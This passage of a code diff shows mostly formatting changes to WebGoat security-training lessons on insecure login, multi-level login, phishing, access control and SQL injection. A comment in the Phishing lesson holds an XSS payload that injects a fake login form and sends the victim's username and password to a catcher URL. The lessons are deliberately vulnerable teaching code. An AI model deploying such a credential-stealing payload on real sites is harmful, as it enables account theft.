ec.addElement(createPlaintextQuestionContent()); ec.addElement(createPlaintextQuestionContent());
} }
@ -358,11 +348,10 @@ public class InsecureLogin extends SequentialLessonAdapter
{ {
ec.addElement(createSSLQuestionContent()); ec.addElement(createSSLQuestionContent());
} }
return ec; return ec;
} }
private Element createPlaintextQuestionContent() private Element createPlaintextQuestionContent()
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -372,11 +361,11 @@ public class InsecureLogin extends SequentialLessonAdapter
div.addElement(new BR()); div.addElement(new BR());
div.addElement("What was the password?"); div.addElement("What was the password?");
div.addElement(new Input(Input.TEXT, ANSWER)); div.addElement(new Input(Input.TEXT, ANSWER));
div.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); div.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
ec.addElement(div); ec.addElement(div);
return ec; return ec;
} }
private Element createSSLQuestionContent() private Element createSSLQuestionContent()
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
@ -393,12 +382,12 @@ public class InsecureLogin extends SequentialLessonAdapter
tr2.addElement(td4); tr2.addElement(td4);
selectTable.addElement(tr1); selectTable.addElement(tr1);
selectTable.addElement(tr2); selectTable.addElement(tr2);
Div div = new Div(); Div div = new Div();
div.addAttribute("align", "center"); div.addAttribute("align", "center");
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
td1.addElement("Is the password still transmited in plaintext?"); td1.addElement("Is the password still transmited in plaintext?");
Select yesNoSelect = new Select(); Select yesNoSelect = new Select();
yesNoSelect.setName(YESNO); yesNoSelect.setName(YESNO);
@ -409,7 +398,7 @@ public class InsecureLogin extends SequentialLessonAdapter
yesNoSelect.addElement(yesOption); yesNoSelect.addElement(yesOption);
yesNoSelect.addElement(noOption); yesNoSelect.addElement(noOption);
td2.addElement(yesNoSelect); td2.addElement(yesNoSelect);
td3.addElement("Which protocol is used for the transmission?"); td3.addElement("Which protocol is used for the transmission?");
Select protocolSelect = new Select(); Select protocolSelect = new Select();
protocolSelect.setName(PROTOCOL); protocolSelect.setName(PROTOCOL);
@ -430,14 +419,13 @@ public class InsecureLogin extends SequentialLessonAdapter
protocolSelect.addElement(tlsOption); protocolSelect.addElement(tlsOption);
td4.addElement(protocolSelect); td4.addElement(protocolSelect);
div.addElement(selectTable); div.addElement(selectTable);
div.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); div.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
ec.addElement(div); ec.addElement(div);
return ec; return ec;
} }
/** /**
* Get a user by its name * Get a user by its name
* *
@ -463,8 +451,7 @@ public class InsecureLogin extends SequentialLessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -472,8 +459,7 @@ public class InsecureLogin extends SequentialLessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -481,7 +467,7 @@ public class InsecureLogin extends SequentialLessonAdapter
return null; return null;
} }
/** /**
* Create a link for logging out * Create a link for logging out
* *
@ -501,7 +487,7 @@ public class InsecureLogin extends SequentialLessonAdapter
return logoutDiv; return logoutDiv;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));

View File

@ -77,7 +77,7 @@ public class JavaScriptValidation extends LessonAdapter
String regex2 = "^[0-9]{3}$";// any three digits String regex2 = "^[0-9]{3}$";// any three digits
String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of
// numbers // numbers
String regex5 = "^\\d{5}$";// simple zip code String regex5 = "^\\d{5}$";// simple zip code
String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes

View File

@ -144,8 +144,6 @@ public abstract class LessonAdapter extends AbstractLesson
return hints; return hints;
} }
/** /**
* Gets the credits attribute of the AbstractLesson object * Gets the credits attribute of the AbstractLesson object
* *

View File

@ -143,26 +143,26 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
style sty = new style(); style sty = new style();
sty sty
.addElement("#lesson_wrapper {height: 435px;width: " + .addElement("#lesson_wrapper {height: 435px;width: "
"500px;}#lesson_header {background-image: " + + "500px;}#lesson_header {background-image: "
"url(lessons/DBSQLInjection/images/lesson1_header.jpg);width:" + + "url(lessons/DBSQLInjection/images/lesson1_header.jpg);width:"
" 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace " + + " 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace "
"{background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: " + + "{background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: "
"325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} " + + "325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} "
".lesson_text {height: 240px;width: 460px;padding-top: 5px;} " + + ".lesson_text {height: 240px;width: 460px;padding-top: 5px;} "
"#lesson_buttons_bottom {height: 20px;width: 460px;} " + + "#lesson_buttons_bottom {height: 20px;width: 460px;} "
"#lesson_b_b_left {width: 300px;float: left;} " + + "#lesson_b_b_left {width: 300px;float: left;} "
"#lesson_b_b_right input {width: 100px;float: right;} " + + "#lesson_b_b_right input {width: 100px;float: right;} "
".lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} " + + ".lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} "
".lesson_workspace { } " + + ".lesson_workspace { } "
".lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} " + + ".lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} "
".lesson_text_db {color: #0066FF} " + + ".lesson_text_db {color: #0066FF} "
"#lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: " + + "#lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: "
"124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top:" + + "124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top:"
" 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: " + + " 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: "
"12px;text-align: center;} #lesson_search {background-image: " + + "12px;text-align: center;} #lesson_search {background-image: "
"url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: " + + "url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: "
"no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); + "no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}");
ec.addElement(sty); ec.addElement(sty);
Div wrapperDiv = new Div(); Div wrapperDiv = new Div();
@ -485,7 +485,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
private void updateTan(String user, WebSession s) private void updateTan(String user, WebSession s)
{ {
int tanNr = getTanPosition(user, s); int tanNr = getTanPosition(user, s);
Connection connection = null; Connection connection = null;
try try
@ -501,8 +501,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -510,8 +509,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -538,8 +536,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -547,8 +544,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -594,8 +590,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -603,8 +598,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -638,8 +632,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -647,8 +640,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -692,7 +684,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} finally } finally
{ {
try try
{ {
@ -700,8 +692,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -740,8 +731,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -749,8 +739,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }

View File

@ -70,7 +70,7 @@ public class MultiLevelLogin2 extends LessonAdapter
// needed to see if lesson was successfull // needed to see if lesson was successfull
private final static String LOGGEDINUSER = "loggedInUser2"; private final static String LOGGEDINUSER = "loggedInUser2";
//private String LoggedInUser = ""; // private String LoggedInUser = "";
/** /**
* See if the user is logged in * See if the user is logged in
@ -502,8 +502,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -511,8 +510,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -545,8 +543,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -554,8 +551,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -583,8 +579,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -592,8 +587,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -634,8 +628,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -643,8 +636,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -678,7 +670,7 @@ public class MultiLevelLogin2 extends LessonAdapter
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
//System.out.println(results.getString("tanValue")); // System.out.println(results.getString("tanValue"));
return results.getString("tanValue"); return results.getString("tanValue");
} }
@ -686,8 +678,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -695,8 +686,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -749,8 +739,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} } finally
finally
{ {
try try
{ {
@ -758,8 +747,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{ {
connection.close(); connection.close();
} }
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }

View File

@ -226,12 +226,12 @@ public class Phishing extends LessonAdapter
* password<script>function hack(){ alert("Had this been a real attack... Your credentials * password<script>function hack(){ alert("Had this been a real attack... Your credentials
* were just stolen.\nUser Name = " + document.forms[0].user.value + "\nPassword = " + * were just stolen.\nUser Name = " + document.forms[0].user.value + "\nPassword = " +
* document.forms[0].pass.value); XSSImage=new Image; * document.forms[0].pass.value); XSSImage=new Image;
* XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + * XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="
* "&password=" + document.forms[0].pass.value + "";}</script><form><br> * +document.forms[0].user.value + "&password=" + document.forms[0].pass.value +
* "";}</script><form><br>
* <br> * <br>
* <HR> * <HR>
* <H3>This feature requires account login:</H2> * <H3>This feature requires account login:</H2> <br>
* <br>
* <br> * <br>
* Enter Username:<br> * Enter Username:<br>
* <input type="text" id="user" name="user"><br> * <input type="text" id="user" name="user"><br>

View File

@ -85,7 +85,8 @@ public class RemoteAdminFlaw extends LessonAdapter
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("WebGoat has 2 admin interfaces."); hints.add("WebGoat has 2 admin interfaces.");
hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'"); hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'");
hints.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'"); hints
.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
hints.add("Follow the Source!"); hints.add("Follow the Source!");
hints.add("On success you will see new submenu items in the menupoint 'Admin Functions'"); hints.add("On success you will see new submenu items in the menupoint 'Admin Functions'");

View File

@ -69,11 +69,11 @@ public class DeleteProfile extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }

View File

@ -97,8 +97,8 @@ public class EditProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
@ -145,8 +145,8 @@ public class EditProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {

View File

@ -93,7 +93,6 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
return Category.ACCESS_CONTROL; return Category.ACCESS_CONTROL;
} }
/** /**
* Gets the hints attribute of the DirectoryScreen object * Gets the hints attribute of the DirectoryScreen object
* *
@ -111,19 +110,16 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
hints.add("Stage1: How does the application know that the user selected the delete function?"); hints.add("Stage1: How does the application know that the user selected the delete function?");
hints.add("Stage2: You have to code to check the authorization of the user for the action.");
hints.add("Stage2: You have to code to check the authorization of the user for the action.");
// Stage 2 // Stage 2
// Stage 3 // Stage 3
hints.add("Stage3: How does the application know that the user selected any particular employee to view?"); hints.add("Stage3: How does the application know that the user selected any particular employee to view?");
// Stage 4 // Stage 4
hints.add("Stage4: You have to code to check the authorization of the user for the action on a certain employee."); hints
.add("Stage4: You have to code to check the authorization of the user for the action on a certain employee.");
return hints; return hints;
} }
@ -155,8 +151,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
} }
else if (STAGE2.equals(stage)) else if (STAGE2.equals(stage))
{ {
instructions ="Stage 2: Add Business Layer Access Control.<br><br/>" + instructions = "Stage 2: Add Business Layer Access Control.<br><br/>"
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to deny unauthorized access to the Delete function. " + "Implement a fix to deny unauthorized access to the Delete function. "
+ "Repeat stage 1. Verify that access to Delete is properly denied.<br/>" + "Repeat stage 1. Verify that access to Delete is properly denied.<br/>"
+ "To do this you have to alter code."; + "To do this you have to alter code.";
@ -168,8 +164,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
} }
else if (STAGE4.equals(stage)) else if (STAGE4.equals(stage))
{ {
instructions = "Stage 4: Add Data Layer Access Control.<br><br/>" + instructions = "Stage 4: Add Data Layer Access Control.<br><br/>"
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to deny unauthorized access to this data. " + "Implement a fix to deny unauthorized access to this data. "
+ "Repeat stage 3. Verify that access to other employee's profiles is properly denied."; + "Repeat stage 3. Verify that access to other employee's profiles is properly denied.";
} }
@ -177,21 +173,24 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
return instructions; return instructions;
} }
public String getLessonSolutionFileName(WebSession s) { public String getLessonSolutionFileName(WebSession s)
{
String solutionFileName = null; String solutionFileName = null;
String stage = getStage(s); String stage = getStage(s);
solutionFileName = "/lesson_solutions/Lab Access Control/Lab " + stage + ".html"; solutionFileName = "/lesson_solutions/Lab Access Control/Lab " + stage + ".html";
return solutionFileName; return solutionFileName;
} }
@Override @Override
public String getSolution(WebSession s) { public String getSolution(WebSession s)
{
String src = null; String src = null;
try try
{ {
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false); src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))),
false);
} catch (IOException e) } catch (IOException e)
{ {
s.setMessage("Could not find the solution file"); s.setMessage("Could not find the solution file");
@ -233,11 +232,9 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
} }
else else
{ {
//***************CODE HERE************************* // ***************CODE HERE*************************
// *************************************************
//*************************************************
if (action.isAuthenticated(s)) if (action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
@ -250,18 +247,18 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
//System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
//System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
//System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
@ -306,13 +303,13 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
} }
} }
//System.out.println("Authorization failure"); // System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
//System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
@ -377,18 +374,18 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
//System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
//System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
//System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
@ -432,13 +429,13 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
} }
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure"); // System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
//System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }

View File

@ -98,11 +98,11 @@ public class UpdateProfile extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }

View File

@ -125,8 +125,8 @@ public class ViewProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
@ -171,8 +171,8 @@ public class ViewProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {

View File

@ -82,11 +82,11 @@ public class Login extends DefaultLessonAction
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
//System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }

View File

@ -203,28 +203,28 @@ public class SQLInjection extends GoatHillsFinancial
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
//System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
//System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
//System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure"); // System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
//System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
@ -248,14 +248,16 @@ public class SQLInjection extends GoatHillsFinancial
{ {
return "LAB: SQL Injection"; return "LAB: SQL Injection";
} }
@Override @Override
public String getSolution(WebSession s) { public String getSolution(WebSession s)
{
String src = null; String src = null;
try try
{ {
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false); src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))),
false);
} catch (IOException e) } catch (IOException e)
{ {
s.setMessage("Could not find the solution file"); s.setMessage("Could not find the solution file");
@ -263,8 +265,9 @@ public class SQLInjection extends GoatHillsFinancial
} }
return src; return src;
} }
public String getLessonSolutionFileName(WebSession s) { public String getLessonSolutionFileName(WebSession s)
{
String solutionFileName = null; String solutionFileName = null;
String stage = getStage(s); String stage = getStage(s);
solutionFileName = "/lesson_solutions/Lab SQL Injection/Lab " + stage + ".html"; solutionFileName = "/lesson_solutions/Lab SQL Injection/Lab " + stage + ".html";

View File

@ -117,10 +117,10 @@ public class ViewProfile extends DefaultLessonAction
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
//System.out.println("Profile: " + profile); // System.out.println("Profile: " + profile);
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
@ -167,8 +167,8 @@ public class ViewProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
